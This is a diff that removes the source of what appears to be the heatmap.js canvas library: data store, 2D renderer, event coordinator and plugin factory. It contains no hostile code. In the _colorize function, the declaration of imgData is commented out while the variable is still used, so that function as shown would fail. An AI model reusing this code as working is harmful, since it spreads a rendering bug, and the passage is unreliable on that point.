- })("h337", this, function () {
21
-
22
- // Heatmap Config stores default values and will be merged with instance config
23
- var HeatmapConfig = {
24
- defaultRadius: 40,
25
- defaultRenderer: 'canvas2d',
26
- defaultGradient: { 0.25: "rgb(0,0,255)", 0.55: "rgb(0,255,0)", 0.85: "yellow", 1.0: "rgb(255,0,0)"},
27
- defaultMaxOpacity: 1,
28
- defaultMinOpacity: 0,
29
- defaultBlur: .85,
30
- defaultXField: 'x',
31
- defaultYField: 'y',
32
- defaultValueField: 'value',
33
- plugins: {}
34
- };
35
- var Store = (function StoreClosure() {
36
-
37
- var Store = function Store(config) {
38
- this._coordinator = {};
39
- this._data = [];
40
- this._radi = [];
41
- this._min = 0;
42
- this._max = 1;
43
- this._xField = config['xField'] || config.defaultXField;
44
- this._yField = config['yField'] || config.defaultYField;
45
- this._valueField = config['valueField'] || config.defaultValueField;
46
-
47
- if (config["radius"]) {
48
- this._cfgRadius = config["radius"];
49
- }
50
- };
51
-
52
- var defaultRadius = HeatmapConfig.defaultRadius;
53
-
54
- Store.prototype = {
55
- // when forceRender = false -> called from setData, omits renderall event
56
- _organiseData: function(dataPoint, forceRender) {
57
- var x = dataPoint[this._xField];
58
- var y = dataPoint[this._yField];
59
- var radi = this._radi;
60
- var store = this._data;
61
- var max = this._max;
62
- var min = this._min;
63
- var value = dataPoint[this._valueField] || 1;
64
- var radius = dataPoint.radius || this._cfgRadius || defaultRadius;
65
-
66
- if (!store[x]) {
67
- store[x] = [];
68
- radi[x] = [];
69
- }
70
-
71
- if (!store[x][y]) {
72
- store[x][y] = value;
73
- radi[x][y] = radius;
74
- } else {
75
- store[x][y] += value;
76
- }
77
-
78
- if (store[x][y] > max) {
79
- if (!forceRender) {
80
- this._max = store[x][y];
81
- } else {
82
- this.setDataMax(store[x][y]);
83
- }
84
- return false;
85
- } else{
86
- return {
87
- x: x,
88
- y: y,
89
- value: value,
90
- radius: radius,
91
- min: min,
92
- max: max
93
- };
94
- }
95
- },
96
- _unOrganizeData: function() {
97
- var unorganizedData = [];
98
- var data = this._data;
99
- var radi = this._radi;
100
-
101
- for (var x in data) {
102
- for (var y in data[x]) {
103
-
104
- unorganizedData.push({
105
- x: x,
106
- y: y,
107
- radius: radi[x][y],
108
- value: data[x][y]
109
- });
110
-
111
- }
112
- }
113
- return {
114
- min: this._min,
115
- max: this._max,
116
- data: unorganizedData
117
- };
118
- },
119
- _onExtremaChange: function() {
120
- this._coordinator.emit('extremachange', {
121
- min: this._min,
122
- max: this._max
123
- });
124
- },
125
- addData: function() {
126
- if (arguments[0].length > 0) {
127
- var dataArr = arguments[0];
128
- var dataLen = dataArr.length;
129
- while (dataLen--) {
130
- this.addData.call(this, dataArr[dataLen]);
131
- }
132
- } else {
133
- // add to store
134
- var organisedEntry = this._organiseData(arguments[0], true);
135
- if (organisedEntry) {
136
- this._coordinator.emit('renderpartial', {
137
- min: this._min,
138
- max: this._max,
139
- data: [organisedEntry]
140
- });
141
- }
142
- }
143
- return this;
144
- },
145
- setData: function(data) {
146
- var dataPoints = data.data;
147
- var pointsLen = dataPoints.length;
148
-
149
-
150
- // reset data arrays
151
- this._data = [];
152
- this._radi = [];
153
-
154
- for(var i = 0; i < pointsLen; i++) {
155
- this._organiseData(dataPoints[i], false);
156
- }
157
- this._max = data.max;
158
- this._min = data.min || 0;
159
-
160
- this._onExtremaChange();
161
- this._coordinator.emit('renderall', this._getInternalData());
162
- return this;
163
- },
164
- removeData: function() {
165
- // TODO: implement
166
- },
167
- setDataMax: function(max) {
168
- this._max = max;
169
- this._onExtremaChange();
170
- this._coordinator.emit('renderall', this._getInternalData());
171
- return this;
172
- },
173
- setDataMin: function(min) {
174
- this._min = min;
175
- this._onExtremaChange();
176
- this._coordinator.emit('renderall', this._getInternalData());
177
- return this;
178
- },
179
- setCoordinator: function(coordinator) {
180
- this._coordinator = coordinator;
181
- },
182
- _getInternalData: function() {
183
- return {
184
- max: this._max,
185
- min: this._min,
186
- data: this._data,
187
- radi: this._radi
188
- };
189
- },
190
- getData: function() {
191
- return this._unOrganizeData();
192
- }/*,
193
-
194
- TODO: rethink.
195
-
196
- getValueAt: function(point) {
197
- var value;
198
- var radius = 100;
199
- var x = point.x;
200
- var y = point.y;
201
- var data = this._data;
202
-
203
- if (data[x] && data[x][y]) {
204
- return data[x][y];
205
- } else {
206
- var values = [];
207
- // radial search for datapoints based on default radius
208
- for(var distance = 1; distance < radius; distance++) {
209
- var neighbors = distance * 2 +1;
210
- var startX = x - distance;
211
- var startY = y - distance;
212
-
213
- for(var i = 0; i < neighbors; i++) {
214
- for (var o = 0; o < neighbors; o++) {
215
- if ((i == 0 || i == neighbors-1) || (o == 0 || o == neighbors-1)) {
216
- if (data[startY+i] && data[startY+i][startX+o]) {
217
- values.push(data[startY+i][startX+o]);
218
- }
219
- } else {
220
- continue;
221
- }
222
- }
223
- }
224
- }
225
- if (values.length > 0) {
226
- return Math.max.apply(Math, values);
227
- }
228
- }
229
- return false;
230
- }*/
231
- };
232
-
233
-
234
- return Store;
235
- })();
236
-
237
- var Canvas2dRenderer = (function Canvas2dRendererClosure() {
238
-
239
- var _getColorPalette = function(config) {
240
- var gradientConfig = config.gradient || config.defaultGradient;
241
- var paletteCanvas = document.createElement('canvas');
242
- var paletteCtx = paletteCanvas.getContext('2d');
243
-
244
- paletteCanvas.width = 256;
245
- paletteCanvas.height = 1;
246
-
247
- var gradient = paletteCtx.createLinearGradient(0, 0, 256, 1);
248
- for (var key in gradientConfig) {
249
- gradient.addColorStop(key, gradientConfig[key]);
250
- }
251
-
252
- paletteCtx.fillStyle = gradient;
253
- paletteCtx.fillRect(0, 0, 256, 1);
254
-
255
- return paletteCtx.getImageData(0, 0, 256, 1).data;
256
- };
257
-
258
- var _getPointTemplate = function(radius, blurFactor) {
259
- var tplCanvas = document.createElement('canvas');
260
- var tplCtx = tplCanvas.getContext('2d');
261
- var x = radius;
262
- var y = radius;
263
- tplCanvas.width = tplCanvas.height = radius*2;
264
-
265
- if (blurFactor == 1) {
266
- tplCtx.beginPath();
267
- tplCtx.arc(x, y, radius, 0, 2 * Math.PI, false);
268
- tplCtx.fillStyle = 'rgba(0,0,0,1)';
269
- tplCtx.fill();
270
- } else {
271
- var gradient = tplCtx.createRadialGradient(x, y, radius*blurFactor, x, y, radius);
272
- gradient.addColorStop(0, 'rgba(0,0,0,1)');
273
- gradient.addColorStop(1, 'rgba(0,0,0,0)');
274
- tplCtx.fillStyle = gradient;
275
- tplCtx.fillRect(0, 0, 2*radius, 2*radius);
276
- }
277
-
278
-
279
-
280
- return tplCanvas;
281
- };
282
-
283
- var _prepareData = function(data) {
284
- var renderData = [];
285
- var min = data.min;
286
- var max = data.max;
287
- var radi = data.radi;
288
- var data = data.data;
289
-
290
- var xValues = Object.keys(data);
291
- var xValuesLen = xValues.length;
292
-
293
- while(xValuesLen--) {
294
- var xValue = xValues[xValuesLen];
295
- var yValues = Object.keys(data[xValue]);
296
- var yValuesLen = yValues.length;
297
- while(yValuesLen--) {
298
- var yValue = yValues[yValuesLen];
299
- var value = data[xValue][yValue];
300
- var radius = radi[xValue][yValue];
301
- renderData.push({
302
- x: xValue,
303
- y: yValue,
304
- value: value,
305
- radius: radius
306
- });
307
- }
308
- }
309
-
310
- return {
311
- min: min,
312
- max: max,
313
- data: renderData
314
- };
315
- };
316
-
317
-
318
- function Canvas2dRenderer(config) {
319
- var container = config.container;
320
- var shadowCanvas = this.shadowCanvas = document.createElement('canvas');
321
- var canvas = this.canvas = config.canvas || document.createElement('canvas');
322
- var renderBoundaries = this._renderBoundaries = [10000, 10000, 0, 0];
323
-
324
- var computed = getComputedStyle(config.container) || {};
325
-
326
- canvas.className = 'heatmap-canvas';
327
-
328
- this._width = canvas.width = shadowCanvas.width = +(computed.width.replace(/px/,''));
329
- this._height = canvas.height = shadowCanvas.height = +(computed.height.replace(/px/,''));
330
-
331
- this.shadowCtx = shadowCanvas.getContext('2d');
332
- this.ctx = canvas.getContext('2d');
333
-
334
- // @TODO:
335
- // conditional wrapper
336
-
337
- canvas.style.cssText = shadowCanvas.style.cssText = 'position:absolute;left:0;top:0;';
338
-
339
- container.style.position = 'relative';
340
- container.appendChild(canvas);
341
-
342
- this._palette = _getColorPalette(config);
343
- this._templates = {};
344
-
345
- this._setStyles(config);
346
- };
347
-
348
- Canvas2dRenderer.prototype = {
349
- renderPartial: function(data) {
350
- this._drawAlpha(data);
351
- this._colorize();
352
- },
353
- renderAll: function(data) {
354
- // reset render boundaries
355
- this._clear();
356
- this._drawAlpha(_prepareData(data));
357
- this._colorize();
358
- },
359
- _updateGradient: function(config) {
360
- this._palette = _getColorPalette(config);
361
- },
362
- updateConfig: function(config) {
363
- if (config['gradient']) {
364
- this._updateGradient(config);
365
- }
366
- this._setStyles(config);
367
- },
368
- setDimensions: function(width, height) {
369
- this._width = width;
370
- this._height = height;
371
- this.canvas.width = this.shadowCanvas.width = width;
372
- this.canvas.height = this.shadowCanvas.height = height;
373
- },
374
- _clear: function() {
375
- this.shadowCtx.clearRect(0, 0, this._width, this._height);
376
- this.ctx.clearRect(0, 0, this._width, this._height);
377
- },
378
- _setStyles: function(config) {
379
- this._blur = (config.blur == 0)?0:(config.blur || config.defaultBlur);
380
-
381
- if (config.backgroundColor) {
382
- this.canvas.style.backgroundColor = config.backgroundColor;
383
- }
384
-
385
- this._opacity = (config.opacity || 0) * 255;
386
- this._maxOpacity = (config.maxOpacity || config.defaultMaxOpacity) * 255;
387
- this._minOpacity = (config.minOpacity || config.defaultMinOpacity) * 255;
388
- this._useGradientOpacity = !!config.useGradientOpacity;
389
- },
390
- _drawAlpha: function(data) {
391
- var min = this._min = data.min;
392
- var max = this._max = data.max;
393
- var data = data.data || [];
394
- var dataLen = data.length;
395
- // on a point basis?
396
- var blur = 1 - this._blur;
397
-
398
- while(dataLen--) {
399
-
400
- var point = data[dataLen];
401
-
402
- var x = point.x;
403
- var y = point.y;
404
- var radius = point.radius;
405
- // if value is bigger than max
406
- // use max as value
407
- var value = Math.min(point.value, max);
408
- var rectX = x - radius;
409
- var rectY = y - radius;
410
- var shadowCtx = this.shadowCtx;
411
-
412
-
413
-
414
-
415
- var tpl;
416
- if (!this._templates[radius]) {
417
- this._templates[radius] = tpl = _getPointTemplate(radius, blur);
418
- } else {
419
- tpl = this._templates[radius];
420
- }
421
- // value from minimum / value range
422
- // => [0, 1]
423
- shadowCtx.globalAlpha = (value-min)/(max-min);
424
-
425
- shadowCtx.drawImage(tpl, rectX, rectY);
426
-
427
- // update renderBoundaries
428
- if (rectX < this._renderBoundaries[0]) {
429
- this._renderBoundaries[0] = rectX;
430
- }
431
- if (rectY < this._renderBoundaries[1]) {
432
- this._renderBoundaries[1] = rectY;
433
- }
434
- if (rectX + 2*radius > this._renderBoundaries[2]) {
435
- this._renderBoundaries[2] = rectX + 2*radius;
436
- }
437
- if (rectY + 2*radius > this._renderBoundaries[3]) {
438
- this._renderBoundaries[3] = rectY + 2*radius;
439
- }
440
-
441
- }
442
- },
443
- _colorize: function() {
444
- var x = this._renderBoundaries[0];
445
- var y = this._renderBoundaries[1];
446
- var width = this._renderBoundaries[2] - x;
447
- var height = this._renderBoundaries[3] - y;
448
- var maxWidth = this._width;
449
- var maxHeight = this._height;
450
- var opacity = this._opacity;
451
- var maxOpacity = this._maxOpacity;
452
- var minOpacity = this._minOpacity;
453
- var useGradientOpacity = this._useGradientOpacity;
454
-
455
- if (x < 0) {
456
- x = 0;
457
- }
458
- if (y < 0) {
459
- y = 0;
460
- }
461
- if (x + width > maxWidth) {
462
- width = maxWidth - x;
463
- }
464
- if (y + height > maxHeight) {
465
- height = maxHeight - y;
466
- }
467
-
468
- var img = this.shadowCtx.getImageData(x, y, width, height);
469
- // var imgData = img.data;
470
- var len = imgData.length;
471
- var palette = this._palette;
472
-
473
-
474
- for (var i = 3; i < len; i+= 4) {
475
- var alpha = imgData[i];
476
- var offset = alpha * 4;
477
-
478
-
479
- if (!offset) {
480
- continue;
481
- }
482
-
483
- var finalAlpha;
484
- if (opacity > 0) {
485
- finalAlpha = opacity;
486
- } else {
487
- if (alpha < maxOpacity) {
488
- if (alpha < minOpacity) {
489
- finalAlpha = minOpacity;
490
- } else {
491
- finalAlpha = alpha;
492
- }
493
- } else {
494
- finalAlpha = maxOpacity;
495
- }
496
- }
497
-
498
- imgData[i-3] = palette[offset];
499
- imgData[i-2] = palette[offset + 1];
500
- imgData[i-1] = palette[offset + 2];
501
- imgData[i] = useGradientOpacity ? palette[offset + 3] : finalAlpha;
502
-
503
- }
504
-
505
- img.data = imgData;
506
- this.ctx.putImageData(img, x, y);
507
-
508
- this._renderBoundaries = [1000, 1000, 0, 0];
509
-
510
- },
511
- getValueAt: function(point) {
512
- var value;
513
- var shadowCtx = this.shadowCtx;
514
- var img = shadowCtx.getImageData(point.x, point.y, 1, 1);
515
- var data = img.data[3];
516
- var max = this._max;
517
- var min = this._min;
518
-
519
- value = (Math.abs(max-min) * (data/255)) >> 0;
520
-
521
- return value;
522
- },
523
- getDataURL: function() {
524
- return this.canvas.toDataURL();
525
- }
526
- };
527
-
528
-
529
- return Canvas2dRenderer;
530
- })();
531
-
532
- var Renderer = (function RendererClosure() {
533
-
534
- var rendererFn = false;
535
-
536
- if (HeatmapConfig['defaultRenderer'] === 'canvas2d') {
537
- rendererFn = Canvas2dRenderer;
538
- }
539
-
540
- return rendererFn;
541
- })();
542
-
543
-
544
- var Util = {
545
- merge: function() {
546
- var merged = {};
547
- var argsLen = arguments.length;
548
- for (var i = 0; i < argsLen; i++) {
549
- var obj = arguments[i]
550
- for (var key in obj) {
551
- merged[key] = obj[key];
552
- }
553
- }
554
- return merged;
555
- }
556
- };
557
- // Heatmap Constructor
558
- var Heatmap = (function HeatmapClosure() {
559
-
560
- var Coordinator = (function CoordinatorClosure() {
561
-
562
- function Coordinator() {
563
- this.cStore = {};
564
- };
565
-
566
- Coordinator.prototype = {
567
- on: function(evtName, callback, scope) {
568
- var cStore = this.cStore;
569
-
570
- if (!cStore[evtName]) {
571
- cStore[evtName] = [];
572
- }
573
- cStore[evtName].push((function(data) {
574
- return callback.call(scope, data);
575
- }));
576
- },
577
- emit: function(evtName, data) {
578
- var cStore = this.cStore;
579
- if (cStore[evtName]) {
580
- var len = cStore[evtName].length;
581
- for (var i=0; i<len; i++) {
582
- var callback = cStore[evtName][i];
583
- callback(data);
584
- }
585
- }
586
- }
587
- };
588
-
589
- return Coordinator;
590
- })();
591
-
592
-
593
- var _connect = function(scope) {
594
- var renderer = scope._renderer;
595
- var coordinator = scope._coordinator;
596
- var store = scope._store;
597
-
598
- coordinator.on('renderpartial', renderer.renderPartial, renderer);
599
- coordinator.on('renderall', renderer.renderAll, renderer);
600
- coordinator.on('extremachange', function(data) {
601
- scope._config.onExtremaChange &&
602
- scope._config.onExtremaChange({
603
- min: data.min,
604
- max: data.max,
605
- gradient: scope._config['gradient'] || scope._config['defaultGradient']
606
- });
607
- });
608
- store.setCoordinator(coordinator);
609
- };
610
-
611
-
612
- function Heatmap() {
613
- var config = this._config = Util.merge(HeatmapConfig, arguments[0] || {});
614
- this._coordinator = new Coordinator();
615
- if (config['plugin']) {
616
- var pluginToLoad = config['plugin'];
617
- if (!HeatmapConfig.plugins[pluginToLoad]) {
618
- throw new Error('Plugin \''+ pluginToLoad + '\' not found. Maybe it was not registered.');
619
- } else {
620
- var plugin = HeatmapConfig.plugins[pluginToLoad];
621
- // set plugin renderer and store
622
- this._renderer = new plugin.renderer(config);
623
- this._store = new plugin.store(config);
624
- }
625
- } else {
626
- this._renderer = new Renderer(config);
627
- this._store = new Store(config);
628
- }
629
- _connect(this);
630
- };
631
-
632
- // @TODO:
633
- // add API documentation
634
- Heatmap.prototype = {
635
- addData: function() {
636
- this._store.addData.apply(this._store, arguments);
637
- return this;
638
- },
639
- removeData: function() {
640
- this._store.removeData && this._store.removeData.apply(this._store, arguments);
641
- return this;
642
- },
643
- setData: function() {
644
- this._store.setData.apply(this._store, arguments);
645
- return this;
646
- },
647
- setDataMax: function() {
648
- this._store.setDataMax.apply(this._store, arguments);
649
- return this;
650
- },
651
- setDataMin: function() {
652
- this._store.setDataMin.apply(this._store, arguments);
653
- return this;
654
- },
655
- configure: function(config) {
656
- this._config = Util.merge(this._config, config);
657
- this._renderer.updateConfig(this._config);
658
- this._coordinator.emit('renderall', this._store._getInternalData());
659
- return this;
660
- },
661
- repaint: function() {
662
- this._coordinator.emit('renderall', this._store._getInternalData());
663
- return this;
664
- },
665
- getData: function() {
666
- return this._store.getData();
667
- },
668
- getDataURL: function() {
669
- return this._renderer.getDataURL();
670
- },
671
- getValueAt: function(point) {
672
-
673
- if (this._store.getValueAt) {
674
- return this._store.getValueAt(point);
675
- } else if (this._renderer.getValueAt) {
676
- return this._renderer.getValueAt(point);
677
- } else {
678
- return null;
679
- }
680
- }
681
- };
682
-
683
- return Heatmap;
684
-
685
- })();
686
-
687
-
688
- // core
689
- var heatmapFactory = {
690
- create: function(config) {
691
- return new Heatmap(config);
692
- },
693
- register: function(pluginKey, plugin) {
694
- HeatmapConfig.plugins[pluginKey] = plugin;
695
- }
696
- };
697
-
698
- return heatmapFactory;
699
-
700
-
701
- });